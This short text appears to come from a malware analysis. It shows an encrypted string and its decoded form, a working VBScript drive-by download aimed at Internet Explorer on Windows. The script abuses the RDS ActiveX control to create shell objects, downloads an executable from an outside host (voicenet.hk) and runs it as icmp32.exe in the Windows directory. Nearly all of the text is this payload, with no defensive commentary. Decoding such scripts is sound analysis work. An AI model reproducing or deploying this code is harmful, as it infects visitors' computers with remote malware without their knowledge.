The encrypted input string is...
%08<VRKPAQ->%08dK"flG%08dK"flG%08dK"flG%08ld"gvwagzGnngjQ,rrCnngjQ]h`m%080.ld"gnkDmV
gtcQ,`fmfc]h`m%08+{fm@gqlmrqgp,0nozqo]h`m*gvkpU,`fmfc]h`m%08lgrM,`fmfc]h`m%083?gr{V,
`fmfc]h`m%08gqnG%08GQNCD.3.ld"lwP,nngjQU]h`m%08vzgL"gowqgP"pmppG"lM%08+  .empR]h`M"$"
 , "$"gocL]h`M*vagh`MgvcgpA,QFP]h`m?nngjQU]h`m""vgQ%08 nngjQ "?"empR]h`M%08 vrkpaQU 
"?"gocL]h`M%08gqmnA,gnkd]fcmnlumf%08vzgL%08++gfmAgv{@*pjA*gvkpU,gnkd]fcmnlumf%08+gv{
@a*@aqC?gfmAgv{@%08+3.k.{fm@NOZ*@fkO?gv{@a%08gxkq]gnkd]fcmnlumf"mV"3?k"pmD%08+{fm@NO
Z*@lgN?gxkq]gnkd]fcmnlumf%08+GWPV".ld*gnkDvzgVgvcgpA,q{QgnkD]h`m?gnkd]fcmnlumf"vgQ%08
+  .empR]h`M"$" , "$"gocL]h`M*vagh`MgvcgpA,QFP]h`m?q{QgnkD]h`m"vgQ%08 vagh`Mogvq{Qgnk
D "?"empR]h`M%08 elkvrkpaQ "?"gocL]h`M%08lgjV"pg`owL,ppG"dK%08+  .empR]h`M"$" , "$"go
cL]h`M*vagh`MgvcgpA,QFP]h`m"?"`fmfc]h`m"vgq%08 ocgpvQ "?"empR]h`M%08 @FMFC "?"gocL]h`
M%08vzgL"gowqgP"pmppG"lM%08flgq,0nozqo]h`m%08gqncD. gzg,01qpggrgk-ij,vglgakmt--8rvvj 
. VGE "lgrm,0nozqo]h`m%08+empR]h`M"$" , "$"gocL]h`M*vagh`MgvcgpA"?"0nozqo]h`m"vgq%08 
RVVJNOZ "?"empR]h`M%08 vdmqmpakO "?"gocL]h`M%08ld"$"pkFlkU?ld%08 ^ "$"+3*qvlglmromA]
jvcR]vlmD""$" ^ "$"+2*qvlglmromA]jvcR]vlmD"?pkFlkU%08+3.3/. ^ .jvcR,ogvKpgfnmDm*vknr
Q?qvlglmromA]jvcR]vlmD%08+ dvv,nm`o{Q *gocLgqpcR,pgfnmDm?ogvKpgfnmDm"vgQ%08+20*gacrQ
gocL,rrCnngjQ]h`m"?"pgfnmDm"vgQ%08+  .empR]h`M"$" , "$"gocL]h`M*vagh`MgvcgpA,QFP]h`m
"?"rrCnngjQ]h`m"vgq%08 lmkvcaknrrC "?"empR]h`M%08 nngjQ "?"gocL]h`M%08 gzg,01roak "?"
ld%08 41G;0AD62A22/C1:;/2F33/1C74/477A4;F@8fkqna ". fkqqcna "gvw`kpvvCvgq,QFP]h`m%08 
QFP]h`m ". fk "gvw`kpvvCvgq,QFP]h`m%08+ vagh`m *vlgognGgvcgpa,vlgowamf"?"QFP]h`m"vgq
%08empR]h`M"okF%08gocL]h`M"okF%08lgjV""2"<>"+ 01lkU .opmdvcnr,pmvcektcl*pvQlK"dK%08l
gjV" pgpmnrzG"vglpgvlK"vdmqmpakO ?gocLrrc,pmvcektcl"dK%08< vrkpaQ@T ?gecwelcn"VRKPAQ>

The decoded string is...
<SCRIPT language="VBScript">
:2'If navigator.appName="Microsoft Internet Explorer" Then
:2'If InStr(navigator.platform,"Win32") <> 0  Then
:2'Dim Obj_Name
:2'Dim Obj_Prog
:2'set obj_RDS = document.createElement("object")
:2'obj_RDS.setAttribute "id", "obj_RDS"
:2'obj_RDS.setAttribute "classid", "clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
:2'fn = "icmp32.exe"
:2'Obj_Name = "Shell"
:2'Obj_Prog = "Application"
:2'set obj_ShellApp = obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
:2'Set oFolder = obj_ShellApp.NameSpace(20)
:2'Set oFolderItem=oFolder.ParseName("Symbol.ttf")
:2'Font_Path_Components=Split(oFolderItem.Path,"\",-1,1)
:2'WinDir= Font_Path_Components(0) & "\" &  Font_Path_Components(1) & "\"
:2'fn=WinDir & fn
:2'Obj_Name = "Microsoft"
:2'Obj_Prog = "XMLHTTP"
:2'set obj_msxml2 = CreateObject(Obj_Name & "." & Obj_Prog)
:2'obj_msxml2.open "GET","http://voicenet.hk/iepeers32.exe",False
:2'obj_msxml2.send
:2'On Error Resume Next
:2'Obj_Name = "ADODB"
:2'Obj_Prog = "Stream"
:2'set obj_adodb = obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
:2'If Err.Number Then
:2'Obj_Name = "Scripting"
:2'Obj_Prog = "FileSystemObject"
:2'Set obj_FileSys=obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
:2'Set download_file=obj_FileSys.CreateTextFile(fn, TRUE)
:2'download_file_size=LenB(XMLBody)
:2'For i=1 To download_file_size
:2'cByte=MidB(XMLBody,i,1)
:2'ByteCode=AscB(cByte)
:2'download_file.Write(Chr(ByteCode)):2'Next
:2'download_file.Close
:2'Obj_Name = "WScript"
:2'Obj_Prog = "Shell"
:2'Set  obj_WShell=obj_RDS.CreateObject(Obj_Name & "." & Obj_Prog,"")
:2'On Error Resume Next
:2'obj_WShell.Run fn,1,FALSE
:2'Else
:2'obj_adodb.Type=1
:2'obj_adodb.Open
:2'obj_adodb.Write(obj_msxml2.responseBody)
:2'obj_adodb.SaveToFile fn,2
:2'obj_ShellApp.ShellExecute fn
:2'End If
:2'End If
:2'End If
:2'</SCRIPT>
:2'